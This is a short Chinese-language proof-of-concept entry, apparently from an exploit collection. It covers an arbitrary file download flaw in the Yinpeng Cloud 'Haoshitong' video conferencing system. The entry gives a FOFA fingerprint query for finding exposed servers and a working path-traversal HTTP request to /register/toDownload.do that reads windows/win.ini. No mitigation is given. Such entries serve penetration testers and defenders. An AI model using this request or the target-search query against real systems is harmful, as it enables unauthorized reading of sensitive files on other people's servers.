银澎云计算好视通视频会议系统任意文件下载.md

427 B / 2021-05-21 09:14:38

    # 银澎云计算 好视通视频会议系统 任意文件下载

银澎云计算 好视通视频会议系统 存在任意文件下载，攻击者可以通过漏洞获取敏感信息。

fofa：

```
app="Hanming-Video-Conferencing"
```

poc：

```bash
GET /register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: 
```

ref：

https://mp.weixin.qq.com/s/F-M21PT0xn9QOuwoC8llKA